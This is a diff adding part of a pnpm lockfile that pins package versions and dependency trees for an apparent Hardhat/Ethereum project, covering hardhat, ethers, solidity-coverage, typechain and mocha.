+  es-define-property@1.0.0:
+    dependencies:
+      get-intrinsic: 1.2.4
+
+  es-errors@1.3.0: {}
+
+  escalade@3.1.2: {}
+
+  escape-string-regexp@1.0.5: {}
+
+  escape-string-regexp@4.0.0: {}
+
+  escodegen@1.8.1:
+    dependencies:
+      esprima: 2.7.3
+      estraverse: 1.9.3
+      esutils: 2.0.3
+      optionator: 0.8.3
+    optionalDependencies:
+      source-map: 0.2.0
+
+  esprima@2.7.3: {}
+
+  esprima@4.0.1: {}
+
+  estraverse@1.9.3: {}
+
+  esutils@2.0.3: {}
+
+  eth-gas-reporter@0.2.27:
+    dependencies:
+      '@solidity-parser/parser': 0.14.5
+      axios: 1.7.7
+      cli-table3: 0.5.1
+      colors: 1.4.0
+      ethereum-cryptography: 1.2.0
+      ethers: 5.7.2
+      fs-readdir-recursive: 1.1.0
+      lodash: 4.17.21
+      markdown-table: 1.1.3
+      mocha: 10.4.0
+      req-cwd: 2.0.0
+      sha1: 1.1.1
+      sync-request: 6.1.0
+    transitivePeerDependencies:
+      - bufferutil
+      - debug
+      - utf-8-validate
+
+  ethereum-bloom-filters@1.1.0:
+    dependencies:
+      '@noble/hashes': 1.4.0
+
+  ethereum-cryptography@0.1.3:
+    dependencies:
+      '@types/pbkdf2': 3.1.2
+      '@types/secp256k1': 4.0.6
+      blakejs: 1.2.1
+      browserify-aes: 1.2.0
+      bs58check: 2.1.2
+      create-hash: 1.2.0
+      create-hmac: 1.1.7
+      hash.js: 1.1.7
+      keccak: 3.0.4
+      pbkdf2: 3.1.2
+      randombytes: 2.1.0
+      safe-buffer: 5.2.1
+      scrypt-js: 3.0.1
+      secp256k1: 4.0.3
+      setimmediate: 1.0.5
+
+  ethereum-cryptography@1.2.0:
+    dependencies:
+      '@noble/hashes': 1.2.0
+      '@noble/secp256k1': 1.7.1
+      '@scure/bip32': 1.1.5
+      '@scure/bip39': 1.1.1
+
+  ethereum-cryptography@2.1.3:
+    dependencies:
+      '@noble/curves': 1.3.0
+      '@noble/hashes': 1.3.3
+      '@scure/bip32': 1.3.3
+      '@scure/bip39': 1.2.2
+
+  ethereumjs-abi@0.6.8:
+    dependencies:
+      bn.js: 4.12.0
+      ethereumjs-util: 6.2.1
+
+  ethereumjs-util@6.2.1:
+    dependencies:
+      '@types/bn.js': 4.11.6
+      bn.js: 4.12.0
+      create-hash: 1.2.0
+      elliptic: 6.5.5
+      ethereum-cryptography: 0.1.3
+      ethjs-util: 0.1.6
+      rlp: 2.2.7
+
+  ethereumjs-util@7.1.5:
+    dependencies:
+      '@types/bn.js': 5.1.5
+      bn.js: 5.2.1
+      create-hash: 1.2.0
+      ethereum-cryptography: 0.1.3
+      rlp: 2.2.7
+
+  ethers@5.7.2:
+    dependencies:
+      '@ethersproject/abi': 5.7.0
+      '@ethersproject/abstract-provider': 5.7.0
+      '@ethersproject/abstract-signer': 5.7.0
+      '@ethersproject/address': 5.7.0
+      '@ethersproject/base64': 5.7.0
+      '@ethersproject/basex': 5.7.0
+      '@ethersproject/bignumber': 5.7.0
+      '@ethersproject/bytes': 5.7.0
+      '@ethersproject/constants': 5.7.0
+      '@ethersproject/contracts': 5.7.0
+      '@ethersproject/hash': 5.7.0
+      '@ethersproject/hdnode': 5.7.0
+      '@ethersproject/json-wallets': 5.7.0
+      '@ethersproject/keccak256': 5.7.0
+      '@ethersproject/logger': 5.7.0
+      '@ethersproject/networks': 5.7.1
+      '@ethersproject/pbkdf2': 5.7.0
+      '@ethersproject/properties': 5.7.0
+      '@ethersproject/providers': 5.7.2
+      '@ethersproject/random': 5.7.0
+      '@ethersproject/rlp': 5.7.0
+      '@ethersproject/sha2': 5.7.0
+      '@ethersproject/signing-key': 5.7.0
+      '@ethersproject/solidity': 5.7.0
+      '@ethersproject/strings': 5.7.0
+      '@ethersproject/transactions': 5.7.0
+      '@ethersproject/units': 5.7.0
+      '@ethersproject/wallet': 5.7.0
+      '@ethersproject/web': 5.7.1
+      '@ethersproject/wordlists': 5.7.0
+    transitivePeerDependencies:
+      - bufferutil
+      - utf-8-validate
+
+  ethers@6.12.0:
+    dependencies:
+      '@adraffy/ens-normalize': 1.10.1
+      '@noble/curves': 1.2.0
+      '@noble/hashes': 1.3.2
+      '@types/node': 18.15.13
+      aes-js: 4.0.0-beta.5
+      tslib: 2.4.0
+      ws: 8.5.0
+    transitivePeerDependencies:
+      - bufferutil
+      - utf-8-validate
+
+  ethjs-unit@0.1.6:
+    dependencies:
+      bn.js: 4.11.6
+      number-to-bn: 1.7.0
+
+  ethjs-util@0.1.6:
+    dependencies:
+      is-hex-prefixed: 1.0.0
+      strip-hex-prefix: 1.0.0
+
+  evp_bytestokey@1.0.3:
+    dependencies:
+      md5.js: 1.3.5
+      safe-buffer: 5.2.1
+
+  fast-deep-equal@3.1.3: {}
+
+  fast-glob@3.3.2:
+    dependencies:
+      '@nodelib/fs.stat': 2.0.5
+      '@nodelib/fs.walk': 1.2.8
+      glob-parent: 5.1.2
+      merge2: 1.4.1
+      micromatch: 4.0.8
+
+  fast-levenshtein@2.0.6: {}
+
+  fastq@1.17.1:
+    dependencies:
+      reusify: 1.0.4
+
+  fill-range@7.1.1:
+    dependencies:
+      to-regex-range: 5.0.1
+
+  fill-range@7.1.1:
+    dependencies:
+      to-regex-range: 5.0.1
+
+  find-replace@3.0.0:
+    dependencies:
+      array-back: 3.1.0
+
+  find-up@2.1.0:
+    dependencies:
+      locate-path: 2.0.0
+
+  find-up@5.0.0:
+    dependencies:
+      locate-path: 6.0.0
+      path-exists: 4.0.0
+
+  flat@5.0.2: {}
+
+  follow-redirects@1.15.6(debug@4.3.4):
+    optionalDependencies:
+      debug: 4.3.4(supports-color@8.1.1)
+
+  form-data@2.5.1:
+    dependencies:
+      asynckit: 0.4.0
+      combined-stream: 1.0.8
+      mime-types: 2.1.35
+
+  form-data@4.0.0:
+    dependencies:
+      asynckit: 0.4.0
+      combined-stream: 1.0.8
+      mime-types: 2.1.35
+
+  fp-ts@1.19.3: {}
+
+  fs-extra@0.30.0:
+    dependencies:
+      graceful-fs: 4.2.11
+      jsonfile: 2.4.0
+      klaw: 1.3.1
+      path-is-absolute: 1.0.1
+      rimraf: 2.7.1
+
+  fs-extra@10.1.0:
+    dependencies:
+      graceful-fs: 4.2.11
+      jsonfile: 6.1.0
+      universalify: 2.0.1
+
+  fs-extra@7.0.1:
+    dependencies:
+      graceful-fs: 4.2.11
+      jsonfile: 4.0.0
+      universalify: 0.1.2
+
+  fs-extra@8.1.0:
+    dependencies:
+      graceful-fs: 4.2.11
+      jsonfile: 4.0.0
+      universalify: 0.1.2
+
+  fs-extra@9.1.0:
+    dependencies:
+      at-least-node: 1.0.0
+      graceful-fs: 4.2.11
+      jsonfile: 6.1.0
+      universalify: 2.0.1
+
+  fs-readdir-recursive@1.1.0: {}
+
+  fs.realpath@1.0.0: {}
+
+  fsevents@2.3.3:
+    optional: true
+
+  function-bind@1.1.2: {}
+
+  get-caller-file@2.0.5: {}
+
+  get-func-name@2.0.2: {}
+
+  get-intrinsic@1.2.4:
+    dependencies:
+      es-errors: 1.3.0
+      function-bind: 1.1.2
+      has-proto: 1.0.3
+      has-symbols: 1.0.3
+      hasown: 2.0.2
+
+  get-port@3.2.0: {}
+
+  ghost-testrpc@0.0.2:
+    dependencies:
+      chalk: 2.4.2
+      node-emoji: 1.11.0
+
+  glob-parent@5.1.2:
+    dependencies:
+      is-glob: 4.0.3
+
+  glob@5.0.15:
+    dependencies:
+      inflight: 1.0.6
+      inherits: 2.0.4
+      minimatch: 3.1.2
+      once: 1.4.0
+      path-is-absolute: 1.0.1
+
+  glob@7.1.7:
+    dependencies:
+      fs.realpath: 1.0.0
+      inflight: 1.0.6
+      inherits: 2.0.4
+      minimatch: 3.1.2
+      once: 1.4.0
+      path-is-absolute: 1.0.1
+
+  glob@7.2.0:
+    dependencies:
+      fs.realpath: 1.0.0
+      inflight: 1.0.6
+      inherits: 2.0.4
+      minimatch: 3.1.2
+      once: 1.4.0
+      path-is-absolute: 1.0.1
+
+  glob@8.1.0:
+    dependencies:
+      fs.realpath: 1.0.0
+      inflight: 1.0.6
+      inherits: 2.0.4
+      minimatch: 5.0.1
+      once: 1.4.0
+
+  global-modules@2.0.0:
+    dependencies:
+      global-prefix: 3.0.0
+
+  global-prefix@3.0.0:
+    dependencies:
+      ini: 1.3.8
+      kind-of: 6.0.3
+      which: 1.3.1
+
+  globby@10.0.2:
+    dependencies:
+      '@types/glob': 7.2.0
+      array-union: 2.1.0
+      dir-glob: 3.0.1
+      fast-glob: 3.3.2
+      glob: 7.2.0
+      ignore: 5.3.1
+      merge2: 1.4.1
+      slash: 3.0.0
+
+  gopd@1.0.1:
+    dependencies:
+      get-intrinsic: 1.2.4
+
+  graceful-fs@4.2.11: {}
+
+  handlebars@4.7.8:
+    dependencies:
+      minimist: 1.2.8
+      neo-async: 2.6.2
+      source-map: 0.6.1
+      wordwrap: 1.0.0
+    optionalDependencies:
+      uglify-js: 3.17.4
+
+  hardhat-gas-reporter@1.0.10(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)):
+    dependencies:
+      array-uniq: 1.0.3
+      eth-gas-reporter: 0.2.27
+      hardhat: 2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)
+      sha1: 1.1.1
+    transitivePeerDependencies:
+      - '@codechecks/client'
+      - bufferutil
+      - debug
+      - utf-8-validate
+
+  hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5):
+    dependencies:
+      '@ethersproject/abi': 5.7.0
+      '@metamask/eth-sig-util': 4.0.1
+      '@nomicfoundation/edr': 0.3.5
+      '@nomicfoundation/ethereumjs-common': 4.0.4
+      '@nomicfoundation/ethereumjs-tx': 5.0.4
+      '@nomicfoundation/ethereumjs-util': 9.0.4
+      '@nomicfoundation/solidity-analyzer': 0.1.1
+      '@sentry/node': 5.30.0
+      '@types/bn.js': 5.1.5
+      '@types/lru-cache': 5.1.1
+      adm-zip: 0.4.16
+      aggregate-error: 3.1.0
+      ansi-escapes: 4.3.2
+      boxen: 5.1.2
+      chalk: 2.4.2
+      chokidar: 3.6.0
+      ci-info: 2.0.0
+      debug: 4.3.4(supports-color@8.1.1)
+      enquirer: 2.4.1
+      env-paths: 2.2.1
+      ethereum-cryptography: 1.2.0
+      ethereumjs-abi: 0.6.8
+      find-up: 2.1.0
+      fp-ts: 1.19.3
+      fs-extra: 7.0.1
+      glob: 7.2.0
+      immutable: 4.3.5
+      io-ts: 1.10.4
+      keccak: 3.0.4
+      lodash: 4.17.21
+      mnemonist: 0.38.5
+      mocha: 10.4.0
+      p-map: 4.0.0
+      raw-body: 2.5.2
+      resolve: 1.17.0
+      semver: 6.3.1
+      solc: 0.7.3(debug@4.3.4)
+      source-map-support: 0.5.21
+      stacktrace-parser: 0.1.10
+      tsort: 0.0.1
+      undici: 5.28.4
+      uuid: 8.3.2
+      ws: 7.5.9
+    optionalDependencies:
+      ts-node: 10.9.2(@types/node@20.12.7)(typescript@5.4.5)
+      typescript: 5.4.5
+    transitivePeerDependencies:
+      - bufferutil
+      - c-kzg
+      - supports-color
+      - utf-8-validate
+
+  has-flag@1.0.0: {}
+
+  has-flag@3.0.0: {}
+
+  has-flag@4.0.0: {}
+
+  has-property-descriptors@1.0.2:
+    dependencies:
+      es-define-property: 1.0.0
+
+  has-proto@1.0.3: {}
+
+  has-symbols@1.0.3: {}
+
+  hash-base@3.1.0:
+    dependencies:
+      inherits: 2.0.4
+      readable-stream: 3.6.2
+      safe-buffer: 5.2.1
+
+  hash.js@1.1.7:
+    dependencies:
+      inherits: 2.0.4
+      minimalistic-assert: 1.0.1
+
+  hasown@2.0.2:
+    dependencies:
+      function-bind: 1.1.2
+
+  he@1.2.0: {}
+
+  heap@0.2.7: {}
+
+  hmac-drbg@1.0.1:
+    dependencies:
+      hash.js: 1.1.7
+      minimalistic-assert: 1.0.1
+      minimalistic-crypto-utils: 1.0.1
+
+  http-basic@8.1.3:
+    dependencies:
+      caseless: 0.12.0
+      concat-stream: 1.6.2
+      http-response-object: 3.0.2
+      parse-cache-control: 1.0.1
+
+  http-errors@2.0.0:
+    dependencies:
+      depd: 2.0.0
+      inherits: 2.0.4
+      setprototypeof: 1.2.0
+      statuses: 2.0.1
+      toidentifier: 1.0.1
+
+  http-response-object@3.0.2:
+    dependencies:
+      '@types/node': 10.17.60
+
+  https-proxy-agent@5.0.1:
+    dependencies:
+      agent-base: 6.0.2
+      debug: 4.3.4(supports-color@8.1.1)
+    transitivePeerDependencies:
+      - supports-color
+
+  iconv-lite@0.4.24:
+    dependencies:
+      safer-buffer: 2.1.2
+
+  ignore@5.3.1: {}
+
+  immer@10.0.2: {}
+
+  immutable@4.3.5: {}
+
+  indent-string@4.0.0: {}
+
+  inflight@1.0.6:
+    dependencies:
+      once: 1.4.0
+      wrappy: 1.0.2
+
+  inherits@2.0.4: {}
+
+  ini@1.3.8: {}
+
+  interpret@1.4.0: {}
+
+  io-ts@1.10.4:
+    dependencies:
+      fp-ts: 1.19.3
+
+  is-binary-path@2.1.0:
+    dependencies:
+      binary-extensions: 2.3.0
+
+  is-extglob@2.1.1: {}
+
+  is-fullwidth-code-point@2.0.0: {}
+
+  is-fullwidth-code-point@3.0.0: {}
+
+  is-glob@4.0.3:
+    dependencies:
+      is-extglob: 2.1.1
+
+  is-hex-prefixed@1.0.0: {}
+
+  is-number@7.0.0: {}
+
+  is-plain-obj@2.1.0: {}
+
+  is-unicode-supported@0.1.0: {}
+
+  isarray@1.0.0: {}
+
+  isexe@2.0.0: {}
+
+  js-sha3@0.8.0: {}
+
+  js-yaml@3.14.1:
+    dependencies:
+      argparse: 1.0.10
+      esprima: 4.0.1
+
+  js-yaml@4.1.0:
+    dependencies:
+      argparse: 2.0.1
+
+  json-schema-traverse@1.0.0: {}
+
+  json-stringify-safe@5.0.1: {}
+
+  jsonfile@2.4.0:
+    optionalDependencies:
+      graceful-fs: 4.2.11
+
+  jsonfile@4.0.0:
+    optionalDependencies:
+      graceful-fs: 4.2.11
+
+  jsonfile@6.1.0:
+    dependencies:
+      universalify: 2.0.1
+    optionalDependencies:
+      graceful-fs: 4.2.11
+
+  jsonschema@1.4.1: {}
+
+  keccak@3.0.4:
+    dependencies:
+      node-addon-api: 2.0.2
+      node-gyp-build: 4.8.0
+      readable-stream: 3.6.2
+
+  kind-of@6.0.3: {}
+
+  klaw@1.3.1:
+    optionalDependencies:
+      graceful-fs: 4.2.11
+
+  kleur@3.0.3: {}
+
+  levn@0.3.0:
+    dependencies:
+      prelude-ls: 1.1.2
+      type-check: 0.3.2
+
+  locate-path@2.0.0:
+    dependencies:
+      p-locate: 2.0.0
+      path-exists: 3.0.0
+
+  locate-path@6.0.0:
+    dependencies:
+      p-locate: 5.0.0
+
+  lodash.camelcase@4.3.0: {}
+
+  lodash.clonedeep@4.5.0: {}
+
+  lodash.isequal@4.5.0: {}
+
+  lodash.truncate@4.4.2: {}
+
+  lodash@4.17.21: {}
+
+  log-symbols@4.1.0:
+    dependencies:
+      chalk: 4.1.2
+      is-unicode-supported: 0.1.0
+
+  loupe@2.3.7:
+    dependencies:
+      get-func-name: 2.0.2
+
+  lru-cache@6.0.0:
+    dependencies:
+      yallist: 4.0.0
+
+  lru_map@0.3.3: {}
+
+  make-error@1.3.6: {}
+
+  markdown-table@1.1.3: {}
+
+  md5.js@1.3.5:
+    dependencies:
+      hash-base: 3.1.0
+      inherits: 2.0.4
+      safe-buffer: 5.2.1
+
+  memorystream@0.3.1: {}
+
+  merge2@1.4.1: {}
+
+  micro-ftch@0.3.1: {}
+
+  micromatch@4.0.8:
+    dependencies:
+      braces: 3.0.3
+      picomatch: 2.3.1
+
+  mime-db@1.52.0: {}
+
+  mime-types@2.1.35:
+    dependencies:
+      mime-db: 1.52.0
+
+  minimalistic-assert@1.0.1: {}
+
+  minimalistic-crypto-utils@1.0.1: {}
+
+  minimatch@3.1.2:
+    dependencies:
+      brace-expansion: 1.1.11
+
+  minimatch@5.0.1:
+    dependencies:
+      brace-expansion: 2.0.1
+
+  minimist@1.2.8: {}
+
+  mkdirp@0.5.6:
+    dependencies:
+      minimist: 1.2.8
+
+  mkdirp@1.0.4: {}
+
+  mnemonist@0.38.5:
+    dependencies:
+      obliterator: 2.0.4
+
+  mocha@10.4.0:
+    dependencies:
+      ansi-colors: 4.1.1
+      browser-stdout: 1.3.1
+      chokidar: 3.5.3
+      debug: 4.3.4(supports-color@8.1.1)
+      diff: 5.0.0
+      escape-string-regexp: 4.0.0
+      find-up: 5.0.0
+      glob: 8.1.0
+      he: 1.2.0
+      js-yaml: 4.1.0
+      log-symbols: 4.1.0
+      minimatch: 5.0.1
+      ms: 2.1.3
+      serialize-javascript: 6.0.0
+      strip-json-comments: 3.1.1
+      supports-color: 8.1.1
+      workerpool: 6.2.1
+      yargs: 16.2.0
+      yargs-parser: 20.2.4
+      yargs-unparser: 2.0.0
+
+  ms@2.1.2: {}
+
+  ms@2.1.3: {}
+
+  ndjson@2.0.0:
+    dependencies:
+      json-stringify-safe: 5.0.1
+      minimist: 1.2.8
+      readable-stream: 3.6.2
+      split2: 3.2.2
+      through2: 4.0.2
+
+  neo-async@2.6.2: {}
+
+  node-addon-api@2.0.2: {}
+
+  node-emoji@1.11.0:
+    dependencies:
+      lodash: 4.17.21
+
+  node-gyp-build@4.8.0: {}
+
+  nofilter@3.1.0: {}
+
+  nopt@3.0.6:
+    dependencies:
+      abbrev: 1.0.9
+
+  normalize-path@3.0.0: {}
+
+  number-to-bn@1.7.0:
+    dependencies:
+      bn.js: 4.11.6
+      strip-hex-prefix: 1.0.0
+
+  object-assign@4.1.1: {}
+
+  object-inspect@1.13.1: {}
+
+  obliterator@2.0.4: {}
+
+  once@1.4.0:
+    dependencies:
+      wrappy: 1.0.2
+
+  optionator@0.8.3:
+    dependencies:
+      deep-is: 0.1.4
+      fast-levenshtein: 2.0.6
+      levn: 0.3.0
+      prelude-ls: 1.1.2
+      type-check: 0.3.2
+      word-wrap: 1.2.5
+
+  ordinal@1.0.3: {}
+
+  os-tmpdir@1.0.2: {}
+
+  p-limit@1.3.0:
+    dependencies:
+      p-try: 1.0.0
+
+  p-limit@3.1.0:
+    dependencies:
+      yocto-queue: 0.1.0
+
+  p-locate@2.0.0:
+    dependencies:
+      p-limit: 1.3.0
+
+  p-locate@5.0.0:
+    dependencies:
+      p-limit: 3.1.0
+
+  p-map@4.0.0:
+    dependencies:
+      aggregate-error: 3.1.0
+
+  p-try@1.0.0: {}
+
+  parse-cache-control@1.0.1: {}
+
+  path-exists@3.0.0: {}
+
+  path-exists@4.0.0: {}
+
+  path-is-absolute@1.0.1: {}
+
+  path-parse@1.0.7: {}
+
+  path-type@4.0.0: {}
+
+  pathval@1.1.1: {}
+
+  pbkdf2@3.1.2:
+    dependencies:
+      create-hash: 1.2.0
+      create-hmac: 1.1.7
+      ripemd160: 2.0.2
+      safe-buffer: 5.2.1
+      sha.js: 2.4.11
+
+  picomatch@2.3.1: {}
+
+  pify@4.0.1: {}
+
+  prelude-ls@1.1.2: {}
+
+  prettier@2.8.8: {}
+
+  process-nextick-args@2.0.1: {}
+
+  promise@8.3.0:
+    dependencies:
+      asap: 2.0.6
+
+  prompts@2.4.2:
+    dependencies:
+      kleur: 3.0.3
+      sisteransi: 1.0.5
+
+  proxy-from-env@1.1.0: {}
+
+  punycode@2.3.1: {}
+
+  qs@6.12.1:
+    dependencies:
+      side-channel: 1.0.6
+
+  queue-microtask@1.2.3: {}
+
+  randombytes@2.1.0:
+    dependencies:
+      safe-buffer: 5.2.1
+
+  raw-body@2.5.2:
+    dependencies:
+      bytes: 3.1.2
+      http-errors: 2.0.0
+      iconv-lite: 0.4.24
+      unpipe: 1.0.0
+
+  readable-stream@2.3.8:
+    dependencies:
+      core-util-is: 1.0.3
+      inherits: 2.0.4
+      isarray: 1.0.0
+      process-nextick-args: 2.0.1
+      safe-buffer: 5.1.2
+      string_decoder: 1.1.1
+      util-deprecate: 1.0.2
+
+  readable-stream@3.6.2:
+    dependencies:
+      inherits: 2.0.4
+      string_decoder: 1.3.0
+      util-deprecate: 1.0.2
+
+  readdirp@3.6.0:
+    dependencies:
+      picomatch: 2.3.1
+
+  rechoir@0.6.2:
+    dependencies:
+      resolve: 1.17.0
+
+  recursive-readdir@2.2.3:
+    dependencies:
+      minimatch: 3.1.2
+
+  reduce-flatten@2.0.0: {}
+
+  req-cwd@2.0.0:
+    dependencies:
+      req-from: 2.0.0
+
+  req-from@2.0.0:
+    dependencies:
+      resolve-from: 3.0.0
+
+  require-directory@2.1.1: {}
+
+  require-from-string@2.0.2: {}
+
+  resolve-from@3.0.0: {}
+
+  resolve@1.1.7: {}
+
+  resolve@1.17.0:
+    dependencies:
+      path-parse: 1.0.7
+
+  reusify@1.0.4: {}
+
+  rimraf@2.7.1:
+    dependencies:
+      glob: 7.2.0
+
+  ripemd160@2.0.2:
+    dependencies:
+      hash-base: 3.1.0
+      inherits: 2.0.4
+
+  rlp@2.2.7:
+    dependencies:
+      bn.js: 5.2.1
+
+  run-parallel@1.2.0:
+    dependencies:
+      queue-microtask: 1.2.3
+
+  safe-buffer@5.1.2: {}
+
+  safe-buffer@5.2.1: {}
+
+  safer-buffer@2.1.2: {}
+
+  sc-istanbul@0.4.6:
+    dependencies:
+      abbrev: 1.0.9
+      async: 1.5.2
+      escodegen: 1.8.1
+      esprima: 2.7.3
+      glob: 5.0.15
+      handlebars: 4.7.8
+      js-yaml: 3.14.1
+      mkdirp: 0.5.6
+      nopt: 3.0.6
+      once: 1.4.0
+      resolve: 1.1.7
+      supports-color: 3.2.3
+      which: 1.3.1
+      wordwrap: 1.0.0
+
+  scrypt-js@3.0.1: {}
+
+  secp256k1@4.0.3:
+    dependencies:
+      elliptic: 6.5.5
+      node-addon-api: 2.0.2
+      node-gyp-build: 4.8.0
+
+  semver@5.7.2: {}
+
+  semver@6.3.1: {}
+
+  semver@7.6.0:
+    dependencies:
+      lru-cache: 6.0.0
+
+  serialize-javascript@6.0.0:
+    dependencies:
+      randombytes: 2.1.0
+
+  set-function-length@1.2.2:
+    dependencies:
+      define-data-property: 1.1.4
+      es-errors: 1.3.0
+      function-bind: 1.1.2
+      get-intrinsic: 1.2.4
+      gopd: 1.0.1
+      has-property-descriptors: 1.0.2
+
+  setimmediate@1.0.5: {}
+
+  setprototypeof@1.2.0: {}
+
+  sha.js@2.4.11:
+    dependencies:
+      inherits: 2.0.4
+      safe-buffer: 5.2.1
+
+  sha1@1.1.1:
+    dependencies:
+      charenc: 0.0.2
+      crypt: 0.0.2
+
+  shelljs@0.8.5:
+    dependencies:
+      glob: 7.2.0
+      interpret: 1.4.0
+      rechoir: 0.6.2
+
+  side-channel@1.0.6:
+    dependencies:
+      call-bind: 1.0.7
+      es-errors: 1.3.0
+      get-intrinsic: 1.2.4
+      object-inspect: 1.13.1
+
+  sisteransi@1.0.5: {}
+
+  slash@3.0.0: {}
+
+  slice-ansi@4.0.0:
+    dependencies:
+      ansi-styles: 4.3.0
+      astral-regex: 2.0.0
+      is-fullwidth-code-point: 3.0.0
+
+  solc@0.7.3(debug@4.3.4):
+    dependencies:
+      command-exists: 1.2.9
+      commander: 3.0.2
+      follow-redirects: 1.15.6(debug@4.3.4)
+      fs-extra: 0.30.0
+      js-sha3: 0.8.0
+      memorystream: 0.3.1
+      require-from-string: 2.0.2
+      semver: 5.7.2
+      tmp: 0.0.33
+    transitivePeerDependencies:
+      - debug
+
+  solidity-coverage@0.8.12(hardhat@2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)):
+    dependencies:
+      '@ethersproject/abi': 5.7.0
+      '@solidity-parser/parser': 0.18.0
+      chalk: 2.4.2
+      death: 1.1.0
+      difflib: 0.2.4
+      fs-extra: 8.1.0
+      ghost-testrpc: 0.0.2
+      global-modules: 2.0.0
+      globby: 10.0.2
+      hardhat: 2.22.3(ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5))(typescript@5.4.5)
+      jsonschema: 1.4.1
+      lodash: 4.17.21
+      mocha: 10.4.0
+      node-emoji: 1.11.0
+      pify: 4.0.1
+      recursive-readdir: 2.2.3
+      sc-istanbul: 0.4.6
+      semver: 7.6.0
+      shelljs: 0.8.5
+      web3-utils: 1.10.4
+
+  source-map-support@0.5.21:
+    dependencies:
+      buffer-from: 1.1.2
+      source-map: 0.6.1
+
+  source-map@0.2.0:
+    dependencies:
+      amdefine: 1.0.1
+    optional: true
+
+  source-map@0.6.1: {}
+
+  split2@3.2.2:
+    dependencies:
+      readable-stream: 3.6.2
+
+  sprintf-js@1.0.3: {}
+
+  stacktrace-parser@0.1.10:
+    dependencies:
+      type-fest: 0.7.1
+
+  statuses@2.0.1: {}
+
+  string-format@2.0.0: {}
+
+  string-width@2.1.1:
+    dependencies:
+      is-fullwidth-code-point: 2.0.0
+      strip-ansi: 4.0.0
+
+  string-width@4.2.3:
+    dependencies:
+      emoji-regex: 8.0.0
+      is-fullwidth-code-point: 3.0.0
+      strip-ansi: 6.0.1
+
+  string_decoder@1.1.1:
+    dependencies:
+      safe-buffer: 5.1.2
+
+  string_decoder@1.3.0:
+    dependencies:
+      safe-buffer: 5.2.1
+
+  strip-ansi@4.0.0:
+    dependencies:
+      ansi-regex: 3.0.1
+
+  strip-ansi@6.0.1:
+    dependencies:
+      ansi-regex: 5.0.1
+
+  strip-hex-prefix@1.0.0:
+    dependencies:
+      is-hex-prefixed: 1.0.0
+
+  strip-json-comments@3.1.1: {}
+
+  supports-color@3.2.3:
+    dependencies:
+      has-flag: 1.0.0
+
+  supports-color@5.5.0:
+    dependencies:
+      has-flag: 3.0.0
+
+  supports-color@7.2.0:
+    dependencies:
+      has-flag: 4.0.0
+
+  supports-color@8.1.1:
+    dependencies:
+      has-flag: 4.0.0
+
+  sync-request@6.1.0:
+    dependencies:
+      http-response-object: 3.0.2
+      sync-rpc: 1.3.6
+      then-request: 6.0.2
+
+  sync-rpc@1.3.6:
+    dependencies:
+      get-port: 3.2.0
+
+  table-layout@1.0.2:
+    dependencies:
+      array-back: 4.0.2
+      deep-extend: 0.6.0
+      typical: 5.2.0
+      wordwrapjs: 4.0.1
+
+  table@6.8.2:
+    dependencies:
+      ajv: 8.12.0
+      lodash.truncate: 4.4.2
+      slice-ansi: 4.0.0
+      string-width: 4.2.3
+      strip-ansi: 6.0.1
+
+  then-request@6.0.2:
+    dependencies:
+      '@types/concat-stream': 1.6.1
+      '@types/form-data': 0.0.33
+      '@types/node': 8.10.66
+      '@types/qs': 6.9.15
+      caseless: 0.12.0
+      concat-stream: 1.6.2
+      form-data: 2.5.1
+      http-basic: 8.1.3
+      http-response-object: 3.0.2
+      promise: 8.3.0
+      qs: 6.12.1
+
+  through2@4.0.2:
+    dependencies:
+      readable-stream: 3.6.2
+
+  tmp@0.0.33:
+    dependencies:
+      os-tmpdir: 1.0.2
+
+  to-regex-range@5.0.1:
+    dependencies:
+      is-number: 7.0.0
+
+  toidentifier@1.0.1: {}
+
+  ts-command-line-args@2.5.1:
+    dependencies:
+      chalk: 4.1.2
+      command-line-args: 5.2.1
+      command-line-usage: 6.1.3
+      string-format: 2.0.0
+
+  ts-essentials@7.0.3(typescript@5.4.5):
+    dependencies:
+      typescript: 5.4.5
+
+  ts-node@10.9.2(@types/node@20.12.7)(typescript@5.4.5):
+    dependencies:
+      '@cspotcode/source-map-support': 0.8.1
+      '@tsconfig/node10': 1.0.11
+      '@tsconfig/node12': 1.0.11
+      '@tsconfig/node14': 1.0.3
+      '@tsconfig/node16': 1.0.4
+      '@types/node': 20.12.7
+      acorn: 8.11.3
+      acorn-walk: 8.3.2
+      arg: 4.1.3
+      create-require: 1.1.1
+      diff: 4.0.2
+      make-error: 1.3.6
+      typescript: 5.4.5
+      v8-compile-cache-lib: 3.0.1
+      yn: 3.1.1
+
+  tslib@1.14.1: {}
+
+  tslib@2.4.0: {}
+
+  tsort@0.0.1: {}
+
+  tweetnacl-util@0.15.1: {}
+
+  tweetnacl@1.0.3: {}
+
+  type-check@0.3.2:
+    dependencies:
+      prelude-ls: 1.1.2
+
+  type-detect@4.0.8: {}
+
+  type-fest@0.20.2: {}
+
+  type-fest@0.21.3: {}
+
+  type-fest@0.7.1: {}
+
+  typechain@8.3.2(typescript@5.4.5):
+    dependencies:
+      '@types/prettier': 2.7.3
+      debug: 4.3.4(supports-color@8.1.1)
+      fs-extra: 7.0.1
+      glob: 7.1.7
+      js-sha3: 0.8.0
+      lodash: 4.17.21
+      mkdirp: 1.0.4
+      prettier: 2.8.8
+      ts-command-line-args: 2.5.1
+      ts-essentials: 7.0.3(typescript@5.4.5)
+      typescript: 5.4.5
+    transitivePeerDependencies:
+      - supports-color
+
+  typedarray@0.0.6: {}
+
+  typescript@5.4.5: {}
+
+  typical@4.0.0: {}
+
+  typical@5.2.0: {}
+
+  uglify-js@3.17.4:
+    optional: true
+
+  undici-types@5.26.5: {}
+
+  undici@5.28.4:
+    dependencies:
+      '@fastify/busboy': 2.1.1
+
+  universalify@0.1.2: {}
+
+  universalify@2.0.1: {}
+
+  unpipe@1.0.0: {}
+
+  uri-js@4.4.1:
+    dependencies:
+      punycode: 2.3.1
+
+  utf8@3.0.0: {}
+
+  util-deprecate@1.0.2: {}
+
+  uuid@8.3.2: {}
+
+  v8-compile-cache-lib@3.0.1: {}
+
+  web3-utils@1.10.4:
+    dependencies:
+      '@ethereumjs/util': 8.1.0
+      bn.js: 5.2.1
+      ethereum-bloom-filters: 1.1.0
+      ethereum-cryptography: 2.1.3
